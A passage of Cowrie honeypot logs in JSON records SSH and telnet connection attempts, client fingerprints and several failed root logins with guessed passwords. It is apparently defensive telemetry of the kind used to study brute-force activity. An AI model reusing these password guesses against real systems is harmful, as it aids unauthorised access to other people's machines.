com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:43.358371Z","src_ip":"223.197.186.7","session":"c9dffdd4cba1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:44.137440Z","src_ip":"124.109.2.211","session":"b188a1001b3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345679","message":"login attempt [root/12345679] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:44.261537Z","src_ip":"223.197.186.7","session":"c9dffdd4cba1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:45.478018Z","src_ip":"223.197.186.7","session":"c9dffdd4cba1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51116,"dst_ip":"10.17.0.5","dst_port":23,"session":"3baf70838625","protocol":"telnet","message":"New connection: 152.42.224.71:51116 (10.17.0.5:23) [session: 3baf70838625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:55.488787Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.98.60","src_port":39498,"dst_ip":"10.17.0.5","dst_port":22,"session":"27c8d59aae87","protocol":"ssh","message":"New connection: 43.245.98.60:39498 (10.17.0.5:22) [session: 27c8d59aae87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:00.192977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:00.198205Z","src_ip":"43.245.98.60","session":"27c8d59aae87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47706,"dst_ip":"10.17.0.5","dst_port":23,"session":"2977fc158f6a","protocol":"telnet","message":"New connection: 152.42.224.71:47706 (10.17.0.5:23) [session: 2977fc158f6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:00.207434Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:00.441316Z","src_ip":"43.245.98.60","session":"27c8d59aae87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"poker123","message":"login attempt [root/poker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:01.425333Z","src_ip":"43.245.98.60","session":"27c8d59aae87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:02.668323Z","src_ip":"43.245.98.60","session":"27c8d59aae87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47718,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a3555e702ed","protocol":"telnet","message":"New connection: 152.42.224.71:47718 (10.17.0.5:23) [session: 7a3555e702ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:04.658761Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47732,"dst_ip":"10.17.0.5","dst_port":23,"session":"591db32e99b4","protocol":"telnet","message":"New connection: 152.42.224.71:47732 (10.17.0.5:23) [session: 591db32e99b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:04.793139Z"}
{"eventid":"cowrie.session.closed","duration":31.22994613647461,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:11.241006Z","src_ip":"152.42.224.71","session":"876ca7803421","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58850,"dst_ip":"10.17.0.5","dst_port":23,"session":"52cff50c5940","protocol":"telnet","message":"New connection: 152.42.224.71:58850 (10.17.0.5:23) [session: 52cff50c5940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:13.133078Z"}
{"eventid":"cowrie.session.closed","duration":105.45975017547607,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:14.473981Z","src_ip":"152.42.224.71","session":"622b148182d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.148.170","src_port":41676,"dst_ip":"10.17.0.5","dst_port":22,"session":"b19553079b73","protocol":"ssh","message":"New connection: 43.133.148.170:41676 (10.17.0.5:22) [session: b19553079b73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:18.334900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:18.339756Z","src_ip":"43.133.148.170","session":"b19553079b73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58304,"dst_ip":"10.17.0.5","dst_port":23,"session":"156ed1f00828","protocol":"telnet","message":"New connection: 152.42.224.71:58304 (10.17.0.5:23) [session: 156ed1f00828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:18.509719Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:18.590374Z","src_ip":"43.133.148.170","session":"b19553079b73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"magyar","message":"login attempt [root/magyar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:19.591724Z","src_ip":"43.133.148.170","session":"b19553079b73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:20.837424Z","src_ip":"43.133.148.170","session":"b19553079b73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":38814,"dst_ip":"10.17.0.5","dst_port":22,"session":"129dedb61fd7","protocol":"ssh","message":"New connection: 194.59.206.2:38814 (10.17.0.5:22) [session: 129dedb61fd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:24.687181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:24.692014Z","src_ip":"194.59.206.2","session":"129dedb61fd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:24.782859Z","src_ip":"194.59.206.2","session":"129dedb61fd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58310,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea55d72ce7ca","protocol":"telnet","message":"New connection: 152.42.224.71:58310 (10.17.0.5:23) [session: ea55d72ce7ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:24.814156Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:24.878343Z","src_ip":"194.59.206.2","session":"129dedb61fd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.46503162384033,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:25.258885Z","src_ip":"152.42.224.71","session":"d0372265c8da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":28307,"dst_ip":"10.17.0.5","dst_port":22,"session":"44d7dd7d7b70","protocol":"ssh","message":"New connection: 223.197.186.7:28307 (10.17.0.5:22) [session: 44d7dd7d7b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:28.218173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:28.226942Z","src_ip":"223.197.186.7","session":"44d7dd7d7b70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:28.459610Z","src_ip":"223.197.186.7","session":"44d7dd7d7b70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":69.98292589187622,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:29.038517Z","src_ip":"152.42.224.71","session":"5620a90247b7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"analytics","message":"login attempt [root/analytics] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:29.450162Z","src_ip":"223.197.186.7","session":"44d7dd7d7b70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.16317129135132,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:29.821788Z","src_ip":"152.42.224.71","session":"7a3555e702ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:30.671381Z","src_ip":"223.197.186.7","session":"44d7dd7d7b70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.781830549240112,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:34.914772Z","src_ip":"152.42.224.71","session":"52cff50c5940","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44254,"dst_ip":"10.17.0.5","dst_port":23,"session":"b45ba3ab4424","protocol":"telnet","message":"New connection: 152.42.224.71:44254 (10.17.0.5:23) [session: b45ba3ab4424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:36.241683Z"}
{"eventid":"cowrie.session.closed","duration":52.75845432281494,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:48.247139Z","src_ip":"152.42.224.71","session":"3baf70838625","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.13836598396301,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:48.931406Z","src_ip":"152.42.224.71","session":"591db32e99b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.059332132339478,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:49.873312Z","src_ip":"152.42.224.71","session":"ea55d72ce7ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35806,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fe0a4590f12","protocol":"telnet","message":"New connection: 152.42.224.71:35806 (10.17.0.5:23) [session: 6fe0a4590f12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:49.978192Z"}
{"eventid":"cowrie.session.closed","duration":51.471914291381836,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:51.679277Z","src_ip":"152.42.224.71","session":"2977fc158f6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35816,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2e2ba0b7e29","protocol":"telnet","message":"New connection: 152.42.224.71:35816 (10.17.0.5:23) [session: f2e2ba0b7e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:13:54.541638Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.109.2.211","src_port":59264,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1c1e1ce2712","protocol":"ssh","message":"New connection: 124.109.2.211:59264 (10.17.0.5:22) [session: a1c1e1ce2712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:03.675803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:03.680993Z","src_ip":"124.109.2.211","session":"a1c1e1ce2712","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:03.942177Z","src_ip":"124.109.2.211","session":"a1c1e1ce2712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":81.51706051826477,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:04.571328Z","src_ip":"152.42.224.71","session":"3783cd0f5e7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35178,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f8f13809b45","protocol":"telnet","message":"New connection: 152.42.224.71:35178 (10.17.0.5:23) [session: 9f8f13809b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:04.766476Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"caja2","message":"login attempt [root/caja2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:04.975225Z","src_ip":"124.109.2.211","session":"a1c1e1ce2712","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55174,"dst_ip":"10.17.0.5","dst_port":23,"session":"52988ac008ae","protocol":"telnet","message":"New connection: 152.42.224.71:55174 (10.17.0.5:23) [session: 52988ac008ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:06.069219Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:06.241960Z","src_ip":"124.109.2.211","session":"a1c1e1ce2712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.1921603679657,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:06.701775Z","src_ip":"152.42.224.71","session":"156ed1f00828","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50585412979126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:06.747437Z","src_ip":"152.42.224.71","session":"b45ba3ab4424","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":48300,"dst_ip":"159.203.135.109","dst_port":22,"session":"76f4de90dab9","protocol":"ssh","message":"New connection: 103.122.221.179:48300 (159.203.135.109:22) [session: 76f4de90dab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:09.597196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:14:09.602500Z","src_ip":"103.122.221.179","session":"76f4de90dab9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2